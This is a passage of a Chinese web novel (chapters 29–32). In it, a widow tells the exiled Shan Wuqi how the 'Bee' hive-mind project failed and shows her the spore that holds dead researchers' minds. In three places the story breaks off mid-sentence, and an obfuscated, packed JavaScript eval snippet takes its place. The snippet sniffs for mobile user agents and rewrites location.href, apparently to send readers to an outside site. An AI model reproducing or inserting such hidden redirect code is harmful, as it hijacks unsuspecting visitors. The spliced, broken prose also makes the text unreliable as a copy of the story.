“因为落后的教育和闭塞的消息,外城人想不明白,他们为什么会被这样对待。”阮真莎的语气一瞬间极其冰冷。 但她的措辞却是愤怒的,犹如被坚冰包裹的火焰。 “我们——主动递交辞呈,自愿摘下核心党员的头衔,从内城来到外城的人,当即明白了首长的用意。” “热水都从底部开始加热,因为加热上层,只会让上层的水变成蒸汽逃逸。” 单无绮的脚步微微一顿。 她竖起耳朵,胸腔里的心脏砰砰狂跳。 阮真莎提着提灯,目视前方:“经过商议,我们重启‘集体决策思维’项目,成立了最初的‘蜂’。” 29. “蜂”与“蝉”(二) “一开始,我们的想法十分纯粹。” “既然基地的资源已经不足以供养所有人,那我们就离开。污染可以靠核心解决,异种可以靠团结驱逐,我们不必在一片逼仄的穷土上反复刨食,人类本来可以有更辽阔的未来。” “但我的丈夫,柳法·波波夫,指出了一个致命的关键点。” 阮真莎停下脚步,转过身看向单无绮。 她不纯蓝的双眸在提灯的光芒下,显得朦胧而没有焦距:“您可以猜一猜,那个关键点是什么?” 单无绮陷入沉思。 她迟疑地吐出一个答案:“柳法担心……他们不想离开?” 阮真莎的眸底流露出一丝笑意。 “是的,单副官。”阮真莎道,“三百年太长了,长到人类已经在这里扎根。一棵树要把自己的根系拔起,需要莫大的勇气,更多时候,他会努力向下延伸自己的根系,向地底更深处寻找水分和养分。” “所以你们重启了集体决策思维。”单无绮道。 “所以我们重启了集体决策思维。”阮真莎道。 单无绮的眉头狠狠地皱了起来。 这是个看似大义凛然,实则冠冕堂皇的决策。 诚然,羊群会盲目追随头羊的步伐,但公民不是羊群,领头人高高在上的视角,不仅无视了公民的真正诉求,还会将领头人和公民进行切割。 他们不再是底层人民的发声者。 他们的理想变成了私欲。 “‘蜂’成立后,我们将外城公民视作愚民。”阮真莎轻声道,“时间十分紧迫,我们放弃为他们开智,转而用浅薄的利益引诱他们——我们向他们许诺,参会者每人可以领取半天的食物,如果成为工蜂,食物的份额翻倍,引荐他人参会,双方都可再获得一份食物。” 单无绮沉默地盯着阮真莎。 一群疯子。 单无绮想道。 “但这个计划并不顺利。”阮真莎低头看着提灯。 灯光映在阮真莎的眸底,仿佛跳跃的星火:“我们并不打算带所有人走,我们的计划是,等我们离开墙壁,成立人类第二基地后,再和首长协商签订引渡条约——但一切的前提是,我们带走足够多的人口。” “我们忽视了公民对基地的归属感。” “越接近底层,人类对苦难的忍耐度越高,即使这里已经不是乐土。”阮真莎轻声道,“很久之前,当我还是共荣部的小研究员时,我的恩师对我们这些弟子讲过一句话。” 单无绮问:“什么话?” “新生不是归宿,死亡才是,当第一个人在这片土地上死去,人类便在这里扎下根系。”阮真莎的眼神有点失神。 她的身躯还在这里,但她的灵魂已经飘向远处,飘向再也回不去的从前:“我们重启了集体决策思维,我们操控了他们的思想,让他们成为集群意识的一分子,但……就在我们带领他们离开时,他们失控了。” “那可真是痛苦的回忆啊。”阮真莎低声说,“我们是集群意识的中枢,以工蜂的大脑为湿件,借用他们的算力,驱使庞大的‘蜂群’。” “但一道混乱的意识突然流窜在我们的大脑中。” “我们启动了备用计划,将那道混乱的意识强行镇压。” “这是反人性的,柳法提出这个备用计划时,遭到了所有人的反对。但现实永远比想象残酷,箭在弦上,为了不让蜂群意识崩溃,我们抹杀了挣脱控制的意识。” “但更多的人失控了。” “那一刻,我后知后觉地意识到,人民是不可操控的,任何无视他们的意志,打着为他们好的旗号做出的举措,都注定被反噬、淘汰。” “……咎由自取。”单无绮评价道。 “是啊,咎由自取。”阮真莎悲凉地笑了一声,“意识到这一点的,并不止我一人,但我们都保持了沉默,因为吃到教训之前,我们不会真正地意识到自己的错误。” “蜂群彻底暴走的前一秒,柳法切断了链接。” “柳法独自承担了集群意识失控的代价,鲜血从他的七窍淌下,他变成了一个没有意识的活死人。” “但是,即便柳法承担了绝大部分冲击,算力失控的余韵仍然通过精神链接,平等地传递到每一只蜂的大脑中。” “我眼睁睁看着失控的工蜂冲出地底。” “他们齐齐冲向了物资站,然后,不知是谁放了第一把火,烈焰开始在他们的脚底蔓延。” 吞噬外城的那场大火,就是失控的工蜂点燃的。 阮真莎闭上双眼。 单无绮安静地盯着阮真莎。 第一次从首长口中听到这件事时,单无绮痛苦难忍。 但第二次,当单无绮从阮真莎这个始作俑者口中听到此事时,她竟然能得体地维持脸上平静的表情。 并非她冷血,并非她无情。 一切已经发生了。 绝望和愤怒不会给予她改变命运的力量。 她无数次为这个荒谬的世界感到震惊,沉痛,甚至愧悔。她思考过自己为什么不能早一点醒来,早一点回来。她无数次因为他人的过错,反复与自己的良知尝试和解。 但一切都需要落在行动上。 在她实实在在地有所作为前,她没有资格,更没有脸面缅怀那些死去的人。 “所以你收养了那些孩子。”单无绮道,“你是在赎罪吗?” “……我没有资格赎罪,我的罪孽无可饶恕。”阮真莎转过身。 她重新迈开脚步,向地道深处行走:“我是集群操控中枢里,唯一一个活下来的人,而更令我羞愧的是,即使我们对外城造成了毁灭性的打击,但仍然有人愿意理解我们。” “并非所有的智者都在那场大灾变中死去,他们收敛智慧的锋芒,追随筑墙者建起高墙,又将脑中的知识传承给后代。” 说话间,地道逐渐宽阔。 那仅由一人通行的狭窄地道,逐渐拓宽为两人并行的行道。 阮真莎手中的提灯也不再是唯一的光亮。 一团更大,更明亮的光芒出现在黑暗尽头。 “四部在明处熄灭了大火,而那些隐匿的智者,在暗处为外城收拾了残局。” “我醒来时,一位头发花白的老妇人坐在床头,她慈悲地抚摸我的脸颊,对我说:孩子,你们辛苦了。” “她教诲我,九条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582056|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁令固然是苛政,但它是时代的产物,它在特殊时期是正确的。”阮真莎道,“开智意味着混乱,但外有污染和异种,内有贫穷和饥馑,人类需要前进,不顾一切地前进——而在此之前,试错乃至牺牲是必然的。” 单无绮凝视地道尽头的光亮。 它越来越清晰了。 “我无法接受这个事实,我激烈地反驳了她。”阮真莎加快脚步。 “我告诉她,外城不接受牺牲,不在沉默中爆发,就在沉默中灭亡——即使我的心中知道,蜂已经走上了一条错误的道路。” 阮真莎道,“那位老妇人听完了我颠三倒四的哭诉,她告诉我,蜂的出发点很好,但还不够好。” “人民并非天生就是愚民,因为愚昧和愚蠢是两回事。愚蠢是先天的智商不足,而愚昧……是上位者刻意压缩了他们的视野,让他们的见识不够深远。” “人民需要引导,人民亟待开智。” “但现在还不是好时机,至少,蜂选择了一个错误的时机。” 说话间,单无绮和阮真莎走到了地道尽头。 阮真莎轻声道:“那位老妇人,是智者们的地下领袖,她在一个月前去世。根据她的遗言,我将她的意识片段,保存在‘蜂’残存的集群意识中。” 单无绮微微睁大双眼。 映入眼帘的,是一团晶莹巨大的胶质体。 它浑身流窜着美丽的细光,仿佛划过夜空的流星,但它的底色不是夜色,而是雪一般剔透的莹白。 它悬浮在半空,生化接口插着半透明的导线,承接它的底座明显是旧人类的遗产,铭刻着新人类难以望其项背的精妙花纹。 “……我的孢子。”零惋惜地出声。 单无绮本能地想让零闭嘴,但零破天荒地没有吵闹。 他安静地蜷缩在单无绮的意识深处。 他凝视着他的孢子,犹如凝视着人类雾一样的未来。 “临终前,她将这个地下组织托付给了我。”阮真莎仍然提着提灯,“为了人类的黎明,这并非一句空话。基地百废待兴,人类要重建文明,还有很长的路要走,而我们必须接受生长在半路上的事实。” 单无绮仰头凝视半空悬浮的集群意识。 “那个组织叫什么?”单无绮问。 “蝉。”阮真莎答。 蝉,深埋地底十数年,但出土后,只能歌唱一个夏天。 他们承认自己不被这个时代需要,于是他们隐忍地蛰伏,直到长夜破晓,他们才会像蝉一样破土,向人民发出启蒙的绝唱。 歌唱的夏天还未到来。 连被埋没的种子都在春天发芽,但蝉依然深埋在冰冷的地底。 “你带我来这里,只是想告诉我这个吗?”单无绮的视线重新落在阮真莎脸上。 阮真莎仍然提着提灯。 她穿着浆洗过度的黑色长裙,脸上带着细格黑纱,俨然一副未亡人模样。 此前,单无绮以为,阮真莎只是过于憔悴。 但在集群意识的明亮光芒下,单无绮终于透过面纱,看清了阮真莎的脸。 那是一张格外苍白的脸。 仿佛一具行走的尸体。 30. “蜂”与“蝉”(三) 察觉单无绮落在自己脸上的目光,阮真莎微微一笑。 “我的生命,在加入集群意识的时候,已经和它高度绑定了。”阮真莎伸出戴着长手套的手,轻轻抚摸悬空的巨大孢子,“这个东西,是我们离开内城时,从研究所窃取出来的。蜂群暴乱时,充当中枢的其他人已经死去,他们的意识片段也保留其中。” “他们的意识还活着吗?”单无绮问。 阮真莎摇头。 “身死则魂消,即使我们的身体已经高度异化,但人类的灵魂终究不如异种强韧。”阮真莎道,“他们的意识切片,只是过去的一缕亡魂,他们已经没有自我意识了。” 阮真莎含笑看向单无绮:“您想见一见他们么?” 建立“蜂”的人是单无绮的旧友。 即使单无绮失去了所有记忆,但单无绮觉得,见一见老朋友们并非坏事。 单无绮点头。 阮真莎脱下手套,露出那双布满鳞片的狰狞手掌。 她的身形纤细而柔美,却拥有这样一双非人的双手。 阮真莎将鳞爪轻轻放在集群意识上。 片刻后,集群意识散发出纯粹而刺目的荧光。 “……一群疯子。”荧光照耀下,零在单无绮的脑中轻声说。 “什么?” “我的孢子,你可以把它理解为精神力的具象化。”零的声音有一点感慨,“当年我诞下孢子时,它只有人类的拳头大小,饶是如此,我也耗尽了所有力气,乃至于陷入沉睡。” “但它现在很大。”单无绮看向散发荧光的巨大孢子。 在阮真莎的鳞掌下,那团悬空的孢子足有一人高。 “我的能力在精神领域,肉身只是精神的寄体,只要精神不死,我就可以永生。”零道,“我的孢子以精神为食,它如今变得这样强壮,难以想象,它到底吞噬了多少人的灵魂。” 一道又一道虚幻的影子出现在孢子附近。 离单无绮最近的,是一位手持试管的研究员。 他面容年轻,穿着白大褂,眼尾有几道皱纹,额头宽阔,下巴是坚毅的方形。周遭的一切无法吸引他半点注意,心神全扑在虚空不存在的实验中。 “他是阿陀那·丹尼尔,您的挚友之一。”阮真莎道,“他是我们之中第一个死去的,他帮助我们窃取了集群意识,随后,他在前往外城的路上饮弹自尽了。” “我的孢子记住了他。”零道,“这是它吃掉的第一条灵魂,在此之前,它饿了很久。” 单无绮挪动脚步。 她来到第二道人影面前。 那是个漂亮又阳光的女孩,金发绿眼,看起来还没有成年,小小的脸蛋上架着一副大眼镜,头上别着七八个红发卡。 “她是伊莲,没有姓。她来自外城,您保举她加入研究所,并拒绝了她想跟您姓的请求。”阮真莎道,“回到外城后,她说想回家看看,然后失踪了。再次发现她时,她的尸体出现在垃圾桶旁,全身的骨头几乎都被敲碎,下巴被打断,牙齿全部脱落……根据我们检测,动手的是五个不同的男性。” 单无绮沉默。 “这个女人说的是真的。”零道,“孢子记录了一切,它吃掉她的灵魂时,看到了主视角的全过程。” 第三道人影,是一个羞怯的男孩。 他的衣服很皱,下巴生着一圈胡茬,但单无绮可以看出,他的卫生习惯曾经很好,只是一段时间疏于打理,于是变得有些潦草。 “路明州。”阮真莎道,“他才加入研究所半年,我们都没有料到,他会跟我们走。” 单无绮安静地看着这道幻影。 “他也死了?”单无绮问。 “他也死了。”阮真莎答。 “他是怎么死的。” “我不知道。”阮真莎阖上眼睛,“他的话很少,除了实验时,几乎不主动和人交流。有一天早上,我们发现他的食物没有动,我们找了他很久,最后……终于在集群意识里找到了他。” “他是自杀的。”零道,“孢子吃掉了他的尸体,那是它第一次尝试吞噬实物,吃了整整一个晚上。” 接着是第四道人影,第五道人影,第六道人影…… 每一个人的名字和过去,阮真莎都铭记于心。 而每说到一个人时,零都会告诉单无绮,阮真莎说的是真的。 阮真莎没有说谎。 她仿佛一座活着的墓碑。 走到倒数第二道幻影身边时,阮真莎平静的面容终于有了一丝波动。 她凝视着这道影子:“他是我的丈夫,柳法·波波夫,您的挚友之一。” 单无绮看着柳法的影子。 柳法的相貌十分英俊。 他身形高大,五官深邃,两只眼睛是冷静的蓝色,淡灰色的长发披散在身后,仿佛弥散的烟雾。 柳法的影子没有任何动作,双手垂落,安静地站在原地。 当单无绮和柳法的影子对视时,她甚至产生了一种错觉。 ——她仿佛不是和柳法的意识切片对视,而是和他本人对视。 “我的丈夫,死于蜂群暴乱产生的精神冲击。”阮真莎微微闭眼,“他是蜂的领袖,如果他还活着,一定会做出和当时截然不同的选择。” 柳法已经死了。 但蜂却死灰复燃了。 “零。”单无绮在脑中道。 “柳法的确已经死了,这个黑裙子女人没说谎。”零轻哼一声,“但她的后半句话……我持保留意见。” “为什么?” “历史给人类的唯一教训,就是人类从未在历史中吸取过任何教训。” “……”单无绮无法反驳,“但柳法已经死了,不是么?” 零沉入意识深处。 他没有反驳。 单无绮看向最后一道人影。 当那道人影映入单无绮眼帘时,单无绮有一点吃惊,但并不十分意外。 ——那是阮真莎的影子。 “你也死了,对吗?”单无绮看着走到影子身旁的阮真莎。 格外苍白的皮肤,永远漆黑的装束,和仿佛迷失在夜色里的朦胧身躯。 “我没有死,但也不算活着。”阮真莎道,“我是集群意识的代行者,是它对外延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593253|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸的触角,作为代价,当它死去时,我必然死去。” 单无绮皱眉。 她问:“如果它一直不死呢?” “我也一样会死,或许是明天,或许是十年后。”阮真莎答,“单副官,您忘记了一切,但您和我们有过一个约定。” “什么约定?” “您允诺,您一定会回来,带着希望和黎明。” “……”单无绮阖眼。 她的身上萦绕着太多的谜团,也因此牵扯了太多的因果。 她的指尖垂落在腰间的手枪上。 单无绮抚摸手枪,叹了口气。 她没有举枪:“你带我来的目的是什么?仅仅只是老友旧叙吗?” “这场谈话比我预料中来得更快,但即便您不来,我也会想办法找您。”阮真莎轻声道,“想必您一定知道,‘蜂’再次出现了。” 单无绮没有接话。 “我原本以为,复活的蜂只是空有名号,毕竟,最初的蜂只剩我一人,而如今的我,已经从蜂变成了蝉。”阮真莎发出一道叹息,“但是,蜂竟然掌握了让人类变成异种的能力——那种能力,只有研究所出身的人才能掌握。” 单无绮一瞬间想起了赫勒瓦尔。 赫勒瓦尔研究了特型血清。 他触碰了逆鳞。 “复活的蜂,比之前的蜂更加残忍,也更加急切。虽然我的罪无可饶恕,但放在从前,蜂绝对做不出如此血腥的事情。”阮真莎道,“我并非是想和蜂切割,我们这些离开内城的研究员,是一切罪恶的源头,但现在,我想要阻止下一场悲剧的发生。” 孢子莹白的光变得微弱了。 那些虚幻的人影也消失了。 阮真莎戴上手套,遮住了狰狞的鳞爪:“单副官,今天我带您来这里,是想向您表明,外城仍有一股为您所用的力量。” 单无绮良久不语。 她审视着阮真莎的表情。 “我只是一个微不足道的流放者,我已经不是单副官了。”单无绮终于开口,“你为什么执意找我?” 阮真莎低头一笑。 她从怀里取出一枚精致的勋章。 单无绮的目光凝聚在勋章上。 勋章的做工并不精致,甚至十分粗糙。 但是,当把这枚勋章沉甸甸地握在手里时,仿佛握着那些不可言说的,厚重而沉痛的过往。 某个瞬间,单无绮闻到了铁水和火花的味道。 “这是首长授佩于我的铁勋章,我一直贴身保存。”阮真莎道,“蜂群暴乱后,我收留了那些无家可归的孩子,当我得知,我将得到一枚铁勋章时,无尽的惶恐占据了我的心灵。” “但首长说,他都知道。” “他知道我是一个旧日的亡灵,他知道我在为过去赎罪。” “我说,我不配痛改前非。” “但他对我说,这枚铁勋章并非一个嘉奖,而是一个证明。” 阮真莎将那枚铁勋章放在单无绮手心里,“蝉的破土,只需要一声信号,当您需要蝉的力量时,请看在这枚铁勋章的份上,毫无顾虑地驱使我吧。” 31. 拓荒年 阮真莎的姿态十分谦卑。 单无绮接下铁勋章,但侧过身子,没有接受阮真莎的行礼。 阮真莎抬起头:“单副官……” “我不是单副官。”单无绮无奈地道。 她收好铁勋章,手枪在指尖转了一圈:“记忆对一个人的影响是巨大的,如果你认为,现在的我和从前的我会做出一样的选择,我实在不敢保证。” 阮真莎愣了愣。 她仍然提着提灯,身影朦胧而迷蒙。 但听到单无绮的话,阮真莎仿佛第一次睁开眼睛,拨开过去的迷雾,看着现在的单无绮。 单无绮任由阮真莎打量,右手不时地把玩手枪。 她从未放下警惕。 她的枪口随时准备抬起。 良久,阮真莎低低地笑了一声。 “啊,您的确变了。”阮真莎轻声喟叹,“您说得对,过去的您和现在的您是两个人,虽然有些地方是相通的,但有些地方……您变得很彻底。” 单无绮旋转手枪的动作一停。 她兴致盎然地抬起眼睛:“方便说说我哪里变了吗?” “您柔和了许多。”阮真莎掩嘴轻笑,“换做从前,您的子弹会比您的忠告先一步出膛。” 单无绮:“……” 单无绮:“我有那么残暴吗?” “您是基地最年轻的首长副官,雷霆手段,铁石心肠,无数人的命运因您改变,因此,即使您被流放,仍有许多人是您的拥趸。”阮真莎道。 单无绮安静片刻。 她跳过了这个话题。 单无绮看着阮真莎:“你对蜂了解多少?” “我知道得并不多,直到今天白天,大广场上的那起惨案发生时,我才意识到,蜂真的复活了。”阮真莎轻声道。 她停顿片刻:“白天的那场集体异变,是蜂的第一次公开露面。” “我需要更多情报。”单无绮道。 阮真莎垂眸。 “好的。”阮真莎道,“我会搜集的。” “那个黑裙子女人在加深和孢子的纽带。”零出声提醒。 单无绮凝视着阮真莎:“她会怎么样?” “通过孢子,她可以用精神力探知外面的世界。”零道,“但终有一天,她会彻底迷失,那个时候,她的灵魂会被孢子吞噬,成为集群意识的一分子。” 单无绮立刻道:“不行,绝对不行。” 零不说话。 单无绮问:“你能代替她操控孢子吗?” “你不要得寸进尺!”零尖声回复。 单无绮没接话。 她盯着底座上悬浮的巨大孢子,思考如何搭建新的情报网。 “……你可以暂时带走我的孢子。”零的声音闷闷地响起。 单无绮正在沉思。 她眨了下眼睛。 “什么?” “在我离开基地前,把孢子借给你用一用,也不是不可以。”零明显经过了一番思想斗争,连带着声音也又气又恼,“你把孢子带在身上,我就能通过精神链接监督那个女人,让她不至于彻底被吞噬。” 单无绮眼睛一亮。 “太好了,零,你是个好人。”单无绮真情实意地说。 零的精神触须在单无绮的意识里扭动了一下。 他恼道:“还不把你的手放上去?慢一步,小心我反悔!” 单无绮连忙照做。 在阮真莎疑惑的注视下,单无绮伸出一只手,轻轻放在了半空中悬浮的孢子上。 “您要做什么?”阮真莎忍不住问。 单无绮朝她眨了下眼。 “秘密。”单无绮道,“待会儿你就知道了。” 阮真莎不再发问。 她安静地站在一旁,戴着手套的鳞爪优雅地垂在身前。 她凝视单无绮,心中浮沉着许多往事。 单副官真的回来了,也真的回不来了。 阮真莎唏嘘地想道。 没人知道单副官为什么被流放。 当单无绮被流放的消息从中央区传出时,所有人都不敢置信。 这个消息的荒谬程度堪比公鸡下蛋。 那时的单无绮,刚刚结束长达一年的拓荒。 她乘坐黎明号从外城归来,无数人蜂拥至月台,只为一睹副官真容。 即使首长亲至,也不会有这样浩大的排场。 但单无绮被流放的那一天,更多的人来到了月台。 那时,阮真莎和她的丈夫柳法,以及单无绮的其他好友还未递交辞呈。 流放前,单无绮没有向任何人提及此事。 因此,当阮真莎等人在实验室听到这个噩耗时,他们连无菌服都来不及脱下,以最快的速度来到了火车站。 数不清的人,密密麻麻地簇拥在月台上。 押送单无绮的火车,即将从内城发车,前往贫瘠的外城。 内城和外城的隔阂已经初具雏形,这辆押送单无绮的火车,是今天唯一的一趟火车。 阮真莎挤在人群中,柳法搀扶着阮真莎。 阮真莎踮起脚,艰难地凝望人群中心的单无绮。 单无绮的双手被一名男子反扣在身后,一副押解犯人的姿态。 她低垂着头,垂落的发丝有点凌乱,遮住了削瘦的侧脸。 阮真莎牢牢地盯着单无绮的脖子。 那里环着一个黑色的拘束器。 火车喷吐着蒸汽和火花,拉着长长的汽笛从铁路尽头驶来。 人群立刻发出巨大的议论声。 “是黎明号!”阮真莎的身边,有人大声说,“那可是基地的第一辆火车,竟然用来押送一个罪人!” “单副官犯了什么罪?”另一个人问道。 “不知道,但一定是重罪。”那人回答。 黎明号在月台停下,单无绮被押上火车。 临上车前,单无绮停顿了一下。 她抬起发丝凌乱的脸,目光在人群中扫视,似乎在寻找着什么。 柳法的手死死地钳着阮真莎的胳膊。 “别出声。”柳法的声音仿佛从牙缝里挤出,“她不告诉我们,是不想牵连我们。” “她犯了什么罪?”阮真莎喃喃道,“她到底犯了什么罪?” 无人回答。 押送单无绮的黎明号鸣笛驶离。 人群逐渐散去。 阮真莎恍惚地站在原地,柳法一直牢牢地搀扶着她。 “……单副官,真的被流放了。”阮真莎失魂落魄。 “之后,就轮到我们了。”柳法道,“趁清算还没有开始,我们搬去外城吧。” 离职申请很快被批准,其中,也许有首长的授意。 带着还没成年的阮禾,柳法和阮真莎来到了陌生的外城。 但阮禾不小心说漏了嘴。 他们和单无绮私交甚好的事,被外城人知道了。 阮禾挨了骂,曾经衣食无忧的少女,第一次哭泣起来。 阮真莎拦下丈夫,给女儿擦拭眼泪。 直到阮禾在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601370|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她膝上睡去,她才愁容满面地看向收敛怒气的柳法。 “我们要搬家吗?”阮真莎细声细气,生怕吵醒阮禾。 柳法迟疑良久,最终摇头。 “你们睡吧。”柳法道,“我来守门。” 阮真莎没有睡着。 她抱着阮禾,看着坐在门口,手里拿着柴刀的柳法,眼泪从脸颊无声滑下。 单副官到底犯了什么罪?阮真莎恍惚地想。 风吹了一夜,敲打门扉,窸窣不已。 第二天,柳法打开门。 门口堆放着许多食物。 柳法和阮真莎齐齐沉默。 来到外城时,他们已经做好饿肚子的准备,阮禾说漏嘴时,他们已经做好被洗劫的准备。 但迎接他们的,是外城的善意。 整整一年时间,阮真莎真切地感受到,单无绮在外城究竟有着怎样的声望。 拓荒,在内城只是一条新闻,甚至不足以刊登头条。 但在外城,拓荒,救了无数人的命。 没有单无绮,就没有从内城运来的种子,没有单无绮,就没有科学的拓荒计划。 没有单无绮,也许会有其他人带领拓荒。 但外城贫苦了几十上百年,却只等来了一个单无绮。 一个夜晚,柳法一家在邻居家享用晚餐。 “这些麦子,是单副官亲自带我们种下的。”那家的男人道,“为了这一捧麦子,我不知道挨了多少道鞭子。” “她可凶了。”柳法心有余悸地感慨。 “那是你偷懒,活该。”那家的女人道。 “你也偷懒,但你没挨鞭子。”男人瘪了下嘴,怪声怪气道,“就因为单副官不打女人。” 桌边的人齐齐笑起来。 阮真莎沉淀了不少,从泡在实验室里的共荣部党员,变成了可靠的妻子,成熟的母亲,自食其力的外城公民。 她曾经细腻的双手,如今长了不少老茧。 但她并不难过。 “妈妈。”阮禾将手放在阮真莎的手背上。 少女的手同样长出了老茧:“他们为什么不讨厌单副官呢?挨鞭子明明很痛啊。” “因为单副官很好,像土地一样好。”邻居家的男人听到了阮禾的提问。 男人答道:“土地不会骗人,种下什么,就收获什么。单副官也一样。她答应我们的事情,一定都会实现。” 阮真莎咽下了那个涌到嘴边的词语。 但阮禾轻声道:“可是……单副官被流放了。” “单副官一定是被冤枉的!”男人一瞬间恼怒起来。 他用力拍打桌子,把本就不结实的桌子拍得晃了一下:“那些狗官,我们快饿死的时候,也没见他们的指头缝里漏出一点钱!” 邻居家的女人连忙打岔,说当心九条禁令。 阮禾自知说错了话。 柳法没有责备阮禾。 回家后,阮禾睡下,柳法和阮真莎躺在床上,小声地说话。 “单副官为什么会被流放?”阮真莎终于吐出这个问题,它已经在她心底盘桓了很久,“首长明明那么信任她。” 阮真莎盯着丈夫的侧脸。 柳法憔悴了许多。 他原本极具光泽的黑色长发,如今,变成了枯草一般衰败的灰色。 “……我不该瞒着你。”柳法道。 屋内没有点灯。 黑暗中,柳法轻声说:“单无绮的流放,是首长的计划,我们来到外城……也是首长的计划。” 32. 孢子 那个计划是什么? 阮真莎微微皱眉。 蜂群失控后,她很少回忆这些隐秘的往事,但是今天,当她努力回想时,竟然想不起某些细节。 单无绮没有关注阮真莎的内心活动。 她的注意力,全部放在了面前的孢子上。 当单无绮将手放上去时,她的精神力一瞬间被暖意包裹。 那种感觉,像是陷进了一团柔软的棉花。 “虽然这样说不太好,但那些人类把我的孢子养得很好。”零感慨道,“智慧生物的灵魂是最好的精神食粮,如果由我来抚养,它绝不会像今天这样茁壮。” 单无绮是个异种,但她只有一具强大的身体,在精神领域一窍不通。 她模糊地感知到,零的意识正在精神链接上游走。 单无绮问:“这孢子这么大,我要怎么带走它?” “是‘她’。”零道,“我和她成功建立链接了,她是个女孩儿。” 单无绮:“……” 单无绮:“哇塞,你生了个女球啊。” “第一,她不是球,是我的孢子。第二,异种没有性别概念,我这么说只是方便你理解,我们是无性生殖的。”零的语气好像在翻白眼。 单无绮叹为观止。 “你是男妈妈。”单无绮道。 “闭嘴!”零恼羞成怒。 之后,任由单无绮怎么呼唤,零都一言不发。 单无绮和零的对话在意识中展开。 用零的说法解释,每个生物都有独特的灵识,精神频率也各不相同。 当精神链接发生时,精神频率会达到共振状态。 这种链接超越了普通的物质世界的交流,能够深入到灵魂的记忆、情感和知识领域。 发生链接时,双方的精神力量会相互交织,灵魂与灵魂之间,也可以进行信息的交换。 但单无绮在精神领域没有一丝一毫的天赋。 她和零的精神链接,只有聊天一个功能。 没有知识和领悟的分享,也没有技艺和技巧的传授。 就是纯聊天。 零如果想切断和单无绮的聊天,只需要沉入单无绮的意识深处。 单无绮没有本事把零揪出来。 除了像在现实里狂拍大门一样,对着意识深处反复喊话,单无绮没有第二个办法。 但是,就在单无绮像过去一样,对藏起来的零进行轰炸式骚扰时,一个陌生而柔和的波动,突然在精神链接中出现。 它怯生生的,涟漪浅浅,比蜻蜓点水更轻。 “你好。”它说。 “……你好?”单无绮迟疑地回应。 “你好。”它又说。 单无绮沉默。 那个声音第三次说:“你好。” “呃……我很好。”单无绮道,“你是不是只会说这句话?” “那是我的女儿,语气别那么凶。”零冒泡道。 “终于舍得出来了?”单无绮调侃道。 “她还是个孩子,只有一点自我意识,会说话已经很了不起了。”零护犊子道,“还有,你要努力讨好她,没有她的同意,你别想带走孢子。” “你愿意跟我走吗?”单无绮开门见山。 零发出不屑的嗤声。 “你在做梦吗?”零道,“就算我是她的父亲,我和她搭建精神链接,都花费了不少功夫,你单凭一句话……” 话音未落,一道柔和的涟漪突然从精神链接上传递过来。 在零目眦欲裂的注视中,底座上的孢子颤动了几下。 一团又轻又小的荧光从巨大的孢子上跌落,仿佛脱落花茎的苞蕾。 荧光飘落在单无绮的手心里。 单无绮捏了捏。 手感好极了。 “你好。”小小的孢子动了一下。 “你好。”单无绮说。 “啊啊啊啊啊!”零声嘶力竭地怒吼,“为什么?为什么?” 阮真莎惊奇地看着单无绮。 单无绮自动屏蔽了零的噪音。 她将小孢子捧给阮真莎看:“她就是集群意识的化身。” 阮真莎不纯蓝的眼睛眨了一下。 在单无绮的鼓励下,阮真莎小心翼翼地伸出手掌。 阮真莎和孢子相处的时间更久。 孢子毫不犹豫地跳进了阮真莎的掌心。 几秒后,小孢子和底座上的大孢子,同时发出了柔和的荧光。 无形的涟漪在这片空间里蔓延。 单无绮模糊地感知到,一条崭新的精神链接,在她们三人之间建立了。 孢子首先道:“你好。” “她说话了!”阮真莎睁大双眼。 “你好。”孢子又说。 “您好。”阮真莎道。 阮真莎没有张嘴。 她在精神领域的天赋明显比单无绮更好。 “你好。”孢子愉悦地说。 “真神奇啊。”阮真莎的意念在精神链接中传递,比言语更快,“在内城时,我们做过无数次实验,但都以失败告终,没想到……” “你好,你好。”孢子急切地开口。 “嗯……您好?”阮真莎中止话题,迟疑地回应道。 “她还很小,等她长大一点,我们可以教她说别的话。”单无绮解释道。 “你好。”孢子跳了一下。 孢子不擅长人类的语言。 连说几声“你好”后,见单无绮和阮真莎仍然不理解,孢子停止了复读。 随后,一股纯粹的情感在精神链接上传递。 ——帮忙。 ——开心。 孢子在阮真莎手心里跳了两下,又轻飘飘地跃回单无绮肩膀上。 单无绮撑开左心口袋。 孢子乖巧地跳了进去。 零仍在单无绮的大脑中吵闹。 “你们刚才在聊什么?”零道,“你们背着我建立精神链接了?把我也拉进去,我也要听!” 单无绮把胸口袋扒开一条缝:“要把你父亲拉进来吗?” 孢子蛄蛹了一下。 ——不要。 